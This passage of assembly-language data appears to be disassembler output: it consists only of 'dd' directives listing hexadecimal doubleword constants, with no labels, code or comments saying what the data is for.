		dd 955E8D9Eh, 34529021h, 0C3402883h, 0F2EF3BD4h, 3FC41175h
		dd 22400CD1h, 9D8B2A55h, 4CC32F13h, 6865A50Ah, 2250C411h
		dd 54421EFEh, 0E2330A10h, 0F0E1158h, 2115C21h, 559FDC52h
		dd 68A2AF0Dh, 5A29CD28h, 64480C37h, 190E3202h, 0E2A00D0Ah
		dd 42FA4506h, 1C4CF40Ah, 0E612C42h, 7A030D05h, 3224162Ch
		dd 1624406Ah, 9C1996h, 530109EFh, 0C8C11273h, 55EAAD5Ah
		dd 0EEF97C00h, 0A3132E4Dh, 0DF8B004Eh, 0F3E3805Eh, 0F430C681h
		dd 0B2602E6Ch, 8E0F2FA1h, 803AE7E5h, 1A6EFA14h,	4A6356h
		dd 0DC3DF5E7h, 0DBA617Ch, 0FE901B4Fh, 38B3F55h,	0C081FC06h
		dd 61A813CFh, 4BDC8D0Fh, 0EBAD1830h, 608BFC9Eh,	0A2A10FBh
		dd 0F2E3712h, 0BB43B382h, 11E0B950h, 4FF1D2h, 3AF5D2FCh
		dd 0DC00D85Fh, 6441DB89h, 73068F93h, 0EE8103B3h, 739C4EF2h
		dd 0DC1DE77h, 0EA835F51h, 1822B32Ch, 0E996B10Ch, 0A0F2Ch
		dd 46141552h, 0EFD4A993h, 451CD3F2h, 0E504995Dh, 56A4E8AAh
		dd 22DF0066h, 0ED18204Ah, 8B04C465h, 7DE959D8h,	241EB0h
		dd 83D46D38h, 0A85360BAh, 52FA421Dh, 0B0165A47h, 0BF7FB720h
		dd 675E7277h, 0FC0C0897h, 0A8003B20h, 8AE57116h, 3822EDDh
		dd 0B8DBBA13h, 0B3C809A5h, 5D0E638Ch, 0A0C852FCh, 6B711079h
		dd 535800F9h, 0A6A30FCEh, 0B00B6E5h, 52F65E62h,	6BDFDCh
		dd 8360566Ah, 0FC0AE4F0h, 2D7F587Dh, 17D6AB04h,	0F6006414h
		dd 49AA6AC6h, 0D38820A7h, 693BC307h, 0AC53281Dh, 0BD803981h
		dd 86C0844Eh, 0B81E0066h, 0CECB2A7h, 36002A0Eh,	2981B365h
		dd 2B611ADFh, 1C90A953h, 7FB884B1h, 201362C7h, 0AD16A93Ch
		dd 0DAE0DF00h, 4E672EEFh, 62250C99h, 698961D3h,	30547E37h
		dd 19634A80h, 0DD6218EDh, 0FD432165h, 6A1B71C0h, 5055A1F9h
		dd 44D484E2h, 0D728617Fh, 8422286Ch, 9C0C0058h,	3C5CC7E8h
		dd 0F80F8A6h, 32DF0C23h, 0B8A90242h, 386B4000h,	0C6309270h
		dd 0A2041D9Eh, 0B9B141E5h, 57BE51h, 81557D7Bh, 0DEADE0BCh
		dd 72695661h, 0BF401DAEh, 33FA7EAFh, 6F0897D3h,	0A6952100h
		dd 0B0F4561Dh, 0E0D75AB7h, 8036574h, 3CC1E5BAh,	5228245Bh
		dd 329A00A2h, 121593ADh, 0BD195467h, 573B4741h,	0B3731180h
		dd 0A6DCACB9h, 0D4331A7Bh, 4C6C089Eh, 0B900C221h, 0E5F38605h
		dd 0C0006A0Ch, 69BD4CB0h, 4E144B5h, 598D2BF7h, 0A37C8260h
		dd 0B2C8AB31h, 2297467Fh, 0A336000Ah, 2381F516h, 0B401C0E7h
		dd 89AA738Eh, 0B0D253BDh, 111DAB8Ch, 8897DC4Fh,	0A392806Dh
		dd 4FE6A21Dh, 0CA662800h, 0B94DC820h, 71490311h, 2C59B7B1h
		dd 0EABC7945h, 0AC41B231h, 3048CFDCh, 0AA99886Ch, 8C8B1D00h
		dd 5BEA6A9Fh, 0DFAB3F5Eh, 0EDE92160h, 5D01D07Eh, 0B750D623h
		dd 24247FDCh, 0A05015Ah, 3CBAE545h, 0B5AC505Eh,	0F079119h
		dd 0C4335810h, 9683C615h, 12301E3Eh, 0A5F6834Bh, 49035D3Bh
		dd 0AF16517Ah, 5777B8E3h, 83A66DBh, 9D00216Eh, 0E5F81649h
		dd 50E2B7E6h, 3279405Fh, 0A8505817h, 0CF415431h, 284A6AE3h
		dd 164CA001h, 0FF816932h, 0AAA8E904h, 0CE874FB8h, 4B197AC2h
		dd 880DD32Ch, 0F462B46Eh, 10E002C0h, 595668E1h,	0C491440h
		dd 88595B6Ch, 50048CA4h, 4AE3AE16h, 9C806867h, 7FF01648h
		dd 0BBA224EAh, 725E019Eh, 302280E5h, 9B09E894h,	4DE5999h
		dd 0B160B01Ch, 0DC23551Dh, 6911C7h, 631DA998h, 445D27Bh
		dd 2C687FB5h, 0B63E810Ah, 0DDA1F71Ah, 51C24AEh,	5B940907h
		dd 8CBF1BF4h, 2A7919A6h, 4EC0BD6h, 1329B955h, 6220C517h
		dd 0AD30AC38h, 0DC51141Dh, 94A04CA7h, 817F1DA5h, 5C903700h
		dd 0E03B340Ch, 0B21C061h, 0CEF2A8ECh, 19BCA400h, 0A2788B2Ch
		dd 0BBDD249Dh, 8EAA11C4h, 7FB942B2h, 40C7CFh, 0D816AA3Dh
		dd 0DE208618h, 4DBE7C30h, 0B880144Ch, 0CEDCB1B9h, 996F448Ch
		dd 0F4B9B003h, 9A2AE05h, 0EB79328Eh, 6330B082h,	82A10929h
		dd 2F647068h, 0A6467320h, 0AF301ADEh, 0D8DB7161h, 201948EBh
		dd 4B93E700h, 51FC5F04h, 4EB52701h, 77710D6h, 6A5A208Eh
		dd 0AEADA322h, 0EC70209Ch, 0AB14A18Ch, 1D09AC18h, 9C9FDC50h
		dd 0A49300BCh, 0DF9CF51Dh, 0F838EB05h, 86D84A1h, 54906B3Dh
		dd 77E15C5h, 0F59D5A9Eh, 8DC880A4h, 0DD7259C9h,	0DF493928h
		dd 39CCA656h, 2B3B48AEh, 0E11CCAFh, 16A63900h, 0EE65574Dh
		dd 4681C222h, 0B9B20246h, 679EDCABh, 0AA9302E0h, 65601FB9h
		dd 0D0E53549h, 0D9C066E0h, 0A6E2EE45h, 26F00031h, 46C2D0CEh
		dd 0EB004EE3h, 0B317A5D7h, 3215823Ch, 5AE9723Fh, 0DF0B0497h
		dd 0B274245Eh, 3B77A891h, 0BBB71043h, 0E095C240h, 7C1CB42Ch
		dd 883C7AFBh, 153657BAh, 7CB6485Ch, 28B36459h, 7E5008FFh
		dd 38C7508Ch, 11EC3D16h, 72AB00E5h, 0D3FC608Fh,	0E65D5A39h
		dd 0C8022A1Ch, 8708DE58h, 68619D3h, 0AB951818h,	0D9613976h
		dd 69514360h, 1632B16h,	0B422CE7Ch, 0C8A3B9BBh,	7701BEE6h
		dd 62B66456h, 31AC73D7h, 320E1FC0h, 0C0E1DEA1h,	0A87C0364h
		dd 3006355Dh, 52E049D8h, 4E74B2AFh, 0B97E5806h,	7419233Ch
		dd 776B1EA4h, 0C08C045Bh, 0A2B48171h, 0F042E562h, 7904B251h
		dd 81AD7013h, 5C663C80h, 56AB1BDCh, 51B8085Dh, 2230DFB9h
		dd 61A141Bh, 4C5DF7D7h,	0B2C46B21h, 84D798F5h, 0AD1544E0h
		dd 25484667h, 645736E0h, 92F0C8D1h, 0C8F9158Ah,	0C8D88184h
		dd 70D968A0h, 632E0C72h, 5920ECDFh, 0A0D8BE3Eh,	48E08485h
		dd 5B3A74DEh, 6231F23Ch, 0D1EB7F18h, 72219E6Ah,	643C6B06h
		dd 7C212871h, 9A3C9297h, 0AEAA005Ch, 1676FB59h,	71C29A43h
		dd 6091D357h, 0C284D7F8h, 0ADFB0E71h, 0F80AE840h, 43550317h
		dd 0DDA26420h, 0B95C141Bh, 0C205FA85h, 82C5EFDh, 9D80549Ch
		dd 0D862BF64h, 6591C63Fh, 374510C8h, 0DEA51040h, 7E4E732Eh
		dd 5824B0CDh, 4829C3Dh,	20509277h, 0B22A74A4h, 0A601BCADh
		dd 13864CABh, 0F6B3D18Dh, 0CEC0FF79h, 0DB032724h, 0A0AE0FB9h
		dd 9B0732Dh, 235E9CCAh,	4B3B2C04h, 0AC9803DFh, 0E57A0AEh
		dd 311107F5h, 0E55B03C9h, 0FEC04064h, 16211D85h, 0A13A2571h
		dd 5D085C5Eh, 1C9C24C0h, 593AD88Ch, 0C388A35Fh,	0B5110032h
		dd 2BDF5D1Dh, 6114FB02h, 0C9D483D7h, 92A82917h,	0E960B0A0h
		dd 211B617Bh, 0A41AD8DFh, 0B314F454h, 8BDB0F0Ch, 8341B843h
		dd 65DC24D8h, 9ADE0720h, 4D6A402Eh, 0DFF8EE3Dh,	598EB60Ah
		dd 32C71460h, 301E2AFFh, 4F307B08h, 8114C785h, 807E4330h
		dd 27DE4869h, 0C581BAh
		dd 5F70E55Bh, 98C10C0Bh, 0FE43FC13h, 83584020h,	1BC70060h
		dd 62ED959Ah, 4914BD5h,	68105013h, 2126BC28h, 0B0D07B59h
		dd 86A60C47h, 40598235h, 6D3C5F18h, 1C330631h, 30DE6280h
		dd 87EAFAD9h, 2B286D01h, 9BFF1D15h, 38211C22h, 0B1AC81B9h
		dd 535BB8B4h, 91A39841h, 0F92AEB08h, 0CB54A455h, 27229F0Ch
		dd 10F34356h, 451318A3h, 3BE028FFh, 0B311CF60h,	0B05405ACh
		dd 0ADF403DCh, 0DE1B1CD6h, 2C147028h, 68E06020h, 1BD8F0DDh
		dd 5DC04063h, 9D0381C0h, 5483E34Fh, 0D5280592h,	0D41E8B10h
		dd 62048230h, 0A4C4B323h, 16134381h, 0DFBB2084h, 0B9C89017h
		dd 0F209CCDCh, 876A2214h, 4832C5ACh, 7F71C020h,	0DE5051D8h
		dd 0F80F3040h, 13C9091h, 0C06421B7h, 6155C57Fh,	0B8440344h
		dd 0BCB45126h, 0B931F318h, 23E818E0h, 8BE3800Eh, 3EA8C85Dh
		dd 0F85714DBh, 7C3A7DB4h, 1818E050h, 0C02593D9h, 2B5EAD30h
		dd 0F30E0B9Ch, 54B30952h, 8BFA8694h, 24511E30h,	730C0DE3h
		dd 0A8B44710h, 627418B7h, 20A53B05h, 776AE58Ch,	8F6CF0E3h
		dd 1AD6DE0Eh, 7830817Bh, 29804C15h, 5944E5B9h, 0C03E1162h
		dd 69B054D6h, 7FD48E88h, 6FE22A02h, 0E0DD33F8h,	30E79C48h
		dd 14216E9Dh, 800B7F7Eh, 917677CFh, 7CD07900h, 0D80512A3h
		dd 3D4C4B22h, 3514C810h, 5A5D500Eh, 0B83CE2E1h,	63F0CAFCh
		dd 5EC1CFAAh, 0BC409450h, 0A0977F3Bh, 60AFBC90h, 1843F838h
		dd 5FEC5090h, 29969A32h, 3A5A106Bh, 0C5090489h,	20571298h
		dd 92FB039Ch, 917A5000h, 5BE8B448h, 54E500BAh, 0C755EAECh
		dd 0F500533Ah, 0FCA51DCDh, 154C95h, 8BD10991h, 0F83F3706h
		dd 2BA65303h, 0A89628C8h, 0DAC45Bh, 4CC2C6E6h, 0A1CA61E7h
		dd 621743F4h, 0F30C4BD1h, 3E671970h, 6880F733h,	0ACA06B6Dh
		dd 54187C7Dh, 0EE20E6DFh, 67373E7h, 836B8B4Bh, 427F19EDh
		dd 3FA551C0h, 7FD9352h,	7ABA7B8Dh, 47720F7h, 0D200574Ah
		dd 0CC3F8F70h, 486434h,	0D3B81422h, 89EEC04Ch, 6055BE00h
		dd 2C8769CDh, 26139C5h,	0DCCF4200h, 0CA57F822h,	0AB8CB902h
		dd 405824B2h, 3D98290Ch, 0E1823FDh, 0DA7D5490h,	0E8CCC200h
		dd 5C3C726Ah, 5AE4003Dh, 17E3DC2Bh, 530097D4h, 0C9FB87ABh
		dd 310D81h, 0E27D1237h,	0AF48D04h, 72C3FF07h, 96B084C7h
		dd 0B3FAFCh, 229FFDE1h,	0CFA88F4Ch, 1801E475h, 9AA66FEBh
		dd 9C40B679h, 2C0C8B2Bh, 2A198D1h, 3C09CA4Eh, 3D389480h
		dd 0D7002A02h, 7CD0978Dh, 6CB8F94h, 425F1A14h, 0A0004008h
		dd 0A7EA53F1h, 762BB227h, 29F300B5h, 0E2E7862Dh, 0AA0FC66Ch
		dd 0CE85DABBh, 24D76150h, 0C63875h, 15FAC7AEh, 0AB880300h
		dd 0E58414B4h, 1BD50532h, 4037DDBAh, 9C7DD9FCh,	10C0A6B7h
		dd 49643A96h, 223B0CF4h, 5529D7D4h, 990DB00h, 0D5CF6FE8h
		dd 2ECF3h, 48EC639Fh, 741CA095h, 664224h, 4B58BEB0h, 0CECA0005h
		dd 9D79AC46h, 0A896B2AAh, 9A8D915h, 80ECBF20h, 0CB22ED96h
		dd 440E334Fh, 0F3F0A2C0h, 0DC1F81B7h, 8049B135h, 6350200Dh
		dd 0FA5D38h, 290B232Fh,	0C07EB39Ch, 518E0D18h, 30EA9541h
		dd 5B2AA473h, 1400B3C8h, 0A270DF58h, 63052Bh, 0BFE9EB3Bh
		dd 0F56B72E7h, 0EEB0A5FAh, 73006873h, 0F3EDD1BEh, 37A0380h
		dd 0A93CA04h, 0F5B861BCh, 5B00C859h, 44EF2217h,	0F29AE4Dh
		dd 0D9B71699h, 64B45AE0h, 220018C8h, 0C694AADBh, 25BC5E33h
		dd 0E000CCE5h, 6B75EFD1h, 480367F8h, 0D2D46AF1h, 2240980Ah
		dd 0B384077Bh, 0CE122BB5h, 7C0F3BC0h, 8303AB9Fh, 0D92223AFh
		dd 6A8E9015h, 5C7A3BC4h, 7089D92h, 885F0A58h, 12E39C40h
		dd 93CCA816h, 9F322421h, 231580D8h, 0B8AF8BA3h,	1BAE4115h
		dd 9E9900B0h, 241AF930h, 0B67F0EDBh, 0E2605ED0h, 6668EBAAh
		dd 1B071575h, 6DC2BBDAh, 0B845B1F0h, 0BCE739EDh, 26433685h
		dd 7CC40021h, 4B9231F5h, 0C3863000h, 14F42FA4h,	60BFF89Dh
		dd 0F10E70AFh, 0D777D9BEh, 0F81D10Ch, 986518B0h, 3B4A00F7h
		dd 94F9E695h, 4428C1B4h, 7B00C8FDh, 0B161A99Fh,	62BA365h
		dd 60CC118Ch, 0DE0121E3h, 0D7BE0F54h, 0D4205FBDh, 34A20F75h
		dd 82200117h, 412FFC9h,	0B9D78F01h, 9A02745Ch, 376E7880h
		dd 9F0F173Eh, 427DE4A0h, 7B1E46FCh, 2F00608Eh, 0CB5EED33h
		dd 0A2280076h, 23A1E691h, 8CF0AC3Ah, 12E15Eh, 0CEBC1C00h
		dd 4EFBF0h, 0A1695F3Ch,	31D6116Dh, 4881DE01h, 84A38EFCh
		dd 0D51834h, 3860FA9Eh,	0E6EE7152h, 0BFDDC000h,	4AABB15Dh
		dd 185CE04Eh, 36669BCBh, 7D24F539h, 0B003DFA1h,	0F0554D28h
		dd 0CAB8F6FFh, 80FCF906h, 9A96BB2Bh, 9E07728Bh,	0D5AD2F27h
		dd 212406h, 0DDCD1789h,	0C7A4FFA6h, 39FE8F12h, 0A0272CC3h
		dd 48BE363Dh, 2907E84Ah, 70E41155h, 0D4FBFDECh,	11C5E49h
		dd 8AA85496h, 0B670C6FCh, 8351F36h, 2AAC4027h, 0B241994h
		dd 0CB529000h, 8C5553E5h, 98997FB1h, 0E2B00124h, 0D0B813DBh
		dd 2C283Eh, 0C1D94377h,	0F0795241h, 6EC82C08h, 5D4B096Ch
		dd 7D14A280h, 2C96C48Eh, 0F99A2003h, 89A2007Ch,	0DA7FB8B1h
		dd 0EB00731Bh, 5EE2CB6Ah, 0F73C39h, 0C24AD527h,	55BA83D8h
		dd 30005C7Ah, 9D7E1224h, 0EA8198h, 0FFF12D6Dh, 0A6356762h
		dd 0D1DCEB2Ch, 688E481Eh, 60C0DD85h, 826741CAh,	39871F3Bh
		dd 0F4F98538h, 68AC0733h, 568DA03Ah, 0D8004590h, 0E3BAF642h
		dd 3E7A69DAh, 0FD3A2EC6h, 26091380h, 224677BEh,	0CB15CC00h
		dd 7C486FCAh, 604AFAAFh, 759F5028h, 0A2008BAAh,	0AC953121h
		dd 0B7E0729h, 0F8E3096h, 5FFDEA00h, 0F10E133Dh,	236D1547h
		dd 0FAA8EBE7h, 538C4069h, 14F077AFh, 0DC064DC0h, 1D78A301h
		dd 43CD13A0h, 86E82CD1h, 267FAEB0h, 0D8805D00h,	8FEBE301h
		dd 77A3002Dh, 112931A6h, 0CF483D5Eh, 91C260F4h,	0BD0271h
		dd 1AC807DEh, 3A0A4C6Ah, 8D863700h, 980CAAACh, 268E0104h
		dd 6661FFA7h, 0F3C930A2h, 3F5E4104h, 94C039DAh,	0F485095h
		dd 97BBFFEEh, 262AAFA0h, 0D50E0414h, 0FEB1A4B7h, 830EB003h
		dd 0C205D859h, 0C53B1DC7h, 0DD2D47D2h, 0A29B5h,	0A61C8024h
		dd 1DA198A5h, 0D4FD7517h, 56F79420h, 6AEE01A7h,	1C6B58E5h
		dd 0E4C0E7F1h, 417AC65Fh, 0D03C0300h, 0A4A979DEh, 1D4FD8Dh
		dd 0CFE48E5h, 0F7B24100h, 84F59620h, 0D8DFECF3h, 4345EB00h
		dd 0B65D562Fh, 5ECE09Ch, 0DCF98134h, 4998005Fh,	0C0A7DFB7h
		dd 602858h, 0C9149E58h,	0B8BC4E80h, 13CA0678h, 30604B88h
		dd 28E4972Ch, 648CA000h, 2DBFC0E8h, 0D421E3F3h,	244BC260h
		dd 62005DC4h, 69333606h, 947B4E71h, 65D40570h, 55909045h
		dd 0D81C0CBEh, 3933925Eh, 3C33F874h, 0C50D0C57h, 1A306D17h
		dd 8916491Eh, 0BEF79380h, 0A7FC1DBh, 8B9EFF9h, 0BA1780B0h
		dd 6AD4D807h, 0E701FD7Dh, 804D3BF3h, 2D4DF19h, 15498DBh
		dd 0EAE799Ch, 0FC47AC2Ah, 0BA001E93h, 0E9CE63ECh, 0E3EE5Bh
		dd 583DC660h, 0CCA2E0Bh, 82AF90A0h, 0FF019579h,	7FAA5E92h
		dd 7D75933h, 57DEDDD9h,	531AD7DAh, 8EEA7E77h, 0DB3C0070h
		dd 0DC470E5Fh, 0E8B7CB34h, 3F3CD554h, 778F7D5Eh, 9D7FB6h
		dd 599358C2h, 18C58160h, 181DBADBh, 70C4EE4Ch, 1A7E1FDCh
		dd 415B7AD4h, 0E3BB4ED4h, 6E218E97h, 201D6F1Ah,	0E5AD5B46h
		dd 0A4763CFAh, 14D4D70Ah, 6B7905Ch, 0DEAF1A66h,	0DCA90408h
		dd 0A0197840h, 0D418526Ch, 7D69FB20h, 0DFB0C087h, 0F6578A3Fh
		dd 54410A00h
		dd 0D9D70824h, 0BF20792h, 11593C4Dh, 0F8DEBB5Dh, 949E1745h
		dd 0AC045295h, 0D22C983Bh, 919F1810h, 9B5065C2h, 89F4DF98h
		dd 7DBB90C0h, 0C58FCA3h, 502CF43Ch, 9D44EE28h, 0B92284E3h
		dd 4FE044A5h, 16D41D00h, 0C36793D8h, 39020047h,	0C96D7936h
		dd 0E000E965h, 0EC7BD714h, 8422F3h, 1893269Ch, 66089A21h
		dd 76484E00h, 4409C5F7h, 0FDB500B2h, 0DE33CB5Bh, 3A00843Bh
		dd 1D51039Ah, 0FF81EF0h, 0FB5FAC29h, 807720Bh, 42E22005h
		dd 0D00C7FCh, 98CA7E64h, 4D66523h, 6F16F61Ch, 7983801Bh
		dd 123A81F0h, 0FC6025Bh, 0C0801DEEh, 12F8258h, 0F3C1A546h
		dd 506B8C19h, 0E7C90DA4h, 0CF00B8B2h, 0C8D08401h, 26605DFh
		dd 83127D6Bh, 0B8A07E2Ah, 84C654A1h, 0FB6B804h,	0DC914F8Ch
		dd 0A8D0E893h, 0C85059EDh, 7F4402Eh, 0C0F231BCh, 3970C85Fh
		dd 1AE66000h, 0A4AB963Eh, 6EE40115h, 3699F7F2h,	3003FAC4h
		dd 33C0CCFAh, 0A9167Bh,	0E32CD90Ah, 0B1A15534h,	7ECCB400h
		dd 95489DCh, 0C0F285h, 0AA8AF277h, 6A74AFD3h, 0C86CA203h
		dd 0C03EDA17h, 5C6EA068h, 0C7017010h, 45C2B24Fh, 0A2AC405Bh
		dd 0BF00E7F5h, 9A56BEDCh, 39A5A08Fh, 1900F661h,	0EB6C5F68h
		dd 0E0027D6h, 6B534263h, 0C054F3h, 2E0FF6A2h, 7858AA2Fh
		dd 64000678h, 8B3B6A50h, 3B5D2A57h, 4098EEB2h, 0C7F3923h
		dd 0FEF61D00h, 0DA66580Bh, 0A38000B9h, 0A576552h, 78307D97h
		dd 0BFF2117Bh, 8FFD01E3h, 4C79C3B0h, 33C450D6h,	5D00DF44h
		dd 0FB31E49Eh, 134AE9Bh, 0CEA7592Ch, 0CC614ED1h, 1417BC17h
		dd 800F1A2h, 31AD180Eh,	77420028h, 76B8CF5Fh, 0AF02B6A0h
		dd 0E92DFC87h, 0CAF860BAh, 0FA9C007Dh, 0C2A101Eh, 66EE9B26h
		dd 292F5200h, 47BBF83Ah, 84BC9Ah, 0A684AC9Fh, 0D7392428h
		dd 69910113h, 38FE49C5h, 709420h, 5CEB66C4h, 2CB4B283h
		dd 8822F600h, 16992AB0h, 598001Fh, 0D3595567h, 0FB482602h
		dd 4E830290h, 5801B4CCh, 9C121DD0h, 703E00F8h, 972086FAh
		dd 5099A01h, 7A5B7CF6h,	49EF6424h, 0A4124C2Fh, 5D484408h
		dd 3C3091E7h, 0AA29835Ch, 0AB879E36h, 0E6DB80BDh, 0F2C2035Ah
		dd 52C7E963h, 68BE8690h, 9039AD30h, 973F3Eh, 964FB092h
		dd 127CC8FDh, 0D1448400h, 802338Dh, 5DBB0048h, 0F2118893h
		dd 0CA023C94h, 26045C70h, 8DF6E010h, 0F6682506h, 5BB2CCA0h
		dd 0FB1E025Fh, 9DC179F4h, 69387F3Ch, 0A0539440h, 7A280127h
		dd 0D9415965h, 0CB80345Ch, 86B421Ch, 8BE0BAC0h,	92A3B0h
		dd 2341CFDh, 2B828F2Eh,	6D8FBE50h, 654DE400h, 88C1B8DDh
		dd 0EF4E3E53h, 5E9BBF00h, 0CE409073h, 0C45B9D01h, 7E0E2F22h
		dd 542C67DCh, 130FA094h, 123B2Bh, 5999242Fh, 0C530CCEAh
		dd 0A7A212Ch, 0B87E00E6h, 99E6DA4h, 55048394h, 0AF752437h
		dd 256B6980h, 0F29B305Bh, 1FF33C91h, 2F978500h,	0A4261493h
		dd 47B4138Fh, 0A014C06Ch, 0C07CB86Bh, 67615100h, 23168C02h
		dd 4C4300EEh, 1BBDE7ABh, 5FF4C1FCh, 6E0A3D01h, 43CA0497h
		dd 529024h, 0C85EF52Bh,	63318EA9h, 543DC200h, 274437EAh
		dd 0B758C052h, 0BD75C3E5h, 9CD07E00h, 0CA2A174Dh, 8ADF006Eh
		dd 0D7890D53h, 500059DEh, 0BD55F545h, 909A2C1Ch, 9D2B010Ch
		dd 60376CFFh, 0A8C3308Bh, 0AAC8103h, 3444D87h, 0D3EF93A0h
		dd 2C1CB75Bh, 0BE0033AEh, 94DE283h, 4AD400D1h, 4095CFC2h
		dd 0E090B564h, 0FB57C900h, 6CF1681Eh, 418200BBh, 8F141763h
		dd 0A49E97FFh, 5218AE1Fh, 2E3E6D26h, 7D5CF4h, 0C802E60Eh
		dd 0B300E79Ah, 6762E377h, 98D120EBh, 72F400E2h,	0A253F86Bh
		dd 4C070913h, 0C2D0786Fh, 0EE45E9D0h, 8C710076h, 0E103B2C6h
		dd 660032A7h, 3742D977h, 60896Dh, 0C288EB65h, 0A6E84739h
		dd 0AC08C524h, 73A5300h, 96A95FFh, 724EF3C0h, 0B7705CA0h
		dd 0C65421Eh, 0BFC0A728h, 6545662Fh, 0E0C5C04Fh, 97005270h
		dd 2AC3CEDh, 32E1D77Fh,	4A280B85h, 80C03F04h, 0F5938A3h
		dd 5164A9DEh, 20F04D67h, 5AF1EACFh, 25A4F802h, 0C030324Eh
		dd 7C79B040h, 73FEA3Ah,	95489D72h, 14FDC06Bh, 670036A1h
		dd 6EF66CDAh, 0B829E5Fh, 49C2B1CFh, 9DC3F080h, 5C0F17F9h
		dd 9D02097Eh, 0C0199C40h, 1CDD307Dh, 0AEE1AD85h, 92C88068h
		dd 93D8411h, 50B9612Ch,	0E35B2380h, 0D8AD3C2h, 0F445156h
		dd 0B2E0483Ch, 0FF844D00h, 25FA1C28h, 29B00395h, 0F93565E3h
		dd 6DE0078Dh, 0D8E690BDh, 8709A5BAh, 4034C72Ah,	1DA98094h
		dd 344D6888h, 11A0A0F0h, 0EDCB2C00h, 0D9109933h, 8F1702CEh
		dd 83FF91C1h, 4275F840h, 0EC0A4300h, 0C95ED78Ah, 26CFEA98h
		dd 2F76EA8h, 9CB9F1EDh,	9FCCA5h, 7E4496EDh, 0B8001C95h
		dd 0E9CE5FECh, 4C3EF058h, 5703945Ah, 0A931C901h, 19A09980h
		dd 8F007096h, 0FC432B0Ah, 279A0357h, 9B9224CCh,	0EADE8804h
		dd 0E4E9ADCAh, 0FE3F7600h, 69F1A059h, 67604001h, 5C7AF214h
		dd 0B16443D6h, 0B440D356h, 0BB579F9h, 4EAC86AAh, 88C0A4A3h
		dd 0F7B0CE93h, 6700E44Ah, 12589A62h, 0D26CBh, 830C392Eh
		dd 935BA79Ch, 9246653Ah, 0A0905FABh, 78583B79h,	0AF7612E1h
		dd 0C3DCD5C2h, 3AA0B1CCh, 849421D5h, 204225BDh,	1A96DA90h
		dd 66DC3AAFh, 7D10A800h, 0AD8C165Dh, 0A64EB100h, 5B0B332Ch
		dd 550D07CDh, 30523284h, 3F79B73Bh, 1AE35803h, 0A25ED477h
		dd 0A5AB2057h, 0F788FF14h, 0E3A7011Ch, 0B56DDCB9h, 7E88F050h
		dd 17D64F00h, 7787F55Eh, 0A4809DB2h, 50841443h,	787DB2B0h
		dd 5DE7DF00h, 0D1F0DEF8h, 0AE97006Fh, 0FC609F27h, 0E50C1855h
		dd 0D15D3BBEh, 358700C7h, 74C127B4h, 6B907D3Ah,	76784532h
		dd 4CDC7662h, 0FA3A2318h, 30D64C9Ah, 2ADE18BDh,	0C01E4BB5h
		dd 4F5EDDF0h, 0E53C780Fh, 0B3914EA4h, 68CCF4h, 17EC639Dh
		dd 29FC6FA1h, 0E94D7C00h, 0D4BCB297h, 987F61Bh,	0DE0589F0h
		dd 0D31F3C7Ah, 44DE8B3Eh, 0AFEB01C0h, 97598369h, 60227CA7h
		dd 0ABBCCF79h, 20E00525h, 81C0B380h, 673C301Bh,	2E803681h
		dd 89BE9500h, 909AA41Ah, 0D4E700BAh, 5DE2B454h,	3CA0D605h
		dd 0E0FF1962h, 77035E3Eh, 0E5F8EB2Dh, 0A848CBAEh, 60E0D861h
		dd 0B6DB58F5h, 9B07192Bh, 0CB3CAE26h, 0F4E680F9h, 0E42FC047h
		dd 271C0E7Bh, 2107F756h, 95F150DFh, 2300B5EFh, 0DA128074h
		dd 58B7BEC1h, 861F9AF9h, 0C08F9C17h, 0B892C3D6h, 37307A25h
		dd 0D25330F5h, 306606C9h, 71029597h, 0EE044BF9h, 0D6B8D700h
		dd 2023A485h, 0B3918C0h, 75FD1C4h, 0A6EACEAEh, 12DDB0C0h
		dd 0A4007619h, 9B60F03Eh, 0C8C22639h, 9D42BA29h, 22122413h
		dd 8B611DDh, 660D443Dh,	0C9412284h, 0D311A242h,	87A210Fh
		dd 7E90B9F2h, 480B6884h, 0BAD3424Eh, 8C216A24h,	10621207h
		dd 6689D4E1h, 3E44D508h, 40F144B6h, 4452D644h, 3F447DE9h
		dd 0FB42848Ah, 43082E21h, 849E9040h, 1A48CC41h,	29BF0C49h
		dd 0BB2284F2h, 71644C9h, 0B3C1D000h, 2631177Ch,	0A2A500F0h
		dd 13019D94h, 84000E04h, 0C2357381h, 787124h, 0FD21B412h
		dd 0CEAB3F86h, 16261472h, 0E60F0560h, 0F0340DCh, 0F5F7E5h
		dd 40E89D0h, 0B05BB6EDh, 0FD3CF47Fh, 56B380DEh,	7D2622B9h
		dd 2FAD00CEh, 0BFD7CF5Dh, 41002EBCh, 830AAC4Bh,	3C32C69Fh
		dd 0BE80484Fh, 0DC9C5605h, 440027B5h, 91601774h, 1616A43Ah
		dd 7F619Fh, 1C0B8E08h, 50921B6Dh, 0BE00867Fh, 0A498DC0h
		dd 0B88567Ah, 5429186Bh
		dd 268FC500h, 8A0167E9h, 6265AF03h, 8ECC7258h, 0D8403F87h
		dd 0DA28E700h, 9C7D44BFh, 6A8A0D03h, 0B833921Ch, 7D5DC08h
		dd 9142EAEEh, 31F1729h,	0FFD82555h, 9090CC88h, 56AADE00h
		dd 5CAD57BBh, 1274038Fh, 9B9782D7h, 88FC48D0h, 64558C00h
		dd 8A8130CAh, 6A7108h, 0DB0ED3C4h, 1DBC689Eh, 0B000E372h
		dd 0D2975FA4h, 0FCD13h,	73FA962h, 226DC795h, 35757B03h
		dd 0CAFBB1h, 240A8A10h,	41791A77h, 0B3872118h, 8B8518h
		dd 9903C8Ch, 0E415F7D9h, 30C94F05h, 81C711EEh, 6813E690h
		dd 0BC54389Bh, 1A7FB680h, 0A3E7252Ch, 553D970Ch, 0BFC0A8h
		dd 2237543h, 4F4A5298h,	2BB93Ah, 0DCAC2183h, 78F36Fh, 1EE3B63Bh
		dd 0AB5FA38Ah, 4993F100h, 0C05D305Ah, 264148E4h, 2C7BA701h
		dd 0C80AE1F0h, 0B103408Eh, 2130C3B0h, 8F0991E7h, 0D51DC4h
		dd 7A4368C1h, 0EFDD275Bh, 609DE400h, 8010E8ABh,	0B1ED09BFh
		dd 0F8810E4Ah, 603C47CBh, 0C500E411h, 376F362Ch, 0E01E0BBh
		dd 91708AD3h, 5811A00h,	0F0006876h, 3FD7CEC8h, 4C4254h
		dd 7DB4C2C5h, 0B3253022h, 2D001279h, 0E932C314h, 0C7C1095h
		dd 0A639CF5Ah, 0B100D66Ch, 8B4CE711h, 3A7D50h, 72ACEF97h
		dd 383F0D31h, 0B014B703h, 0B86F5D64h, 4E0D6DDh,	0B420CC17h
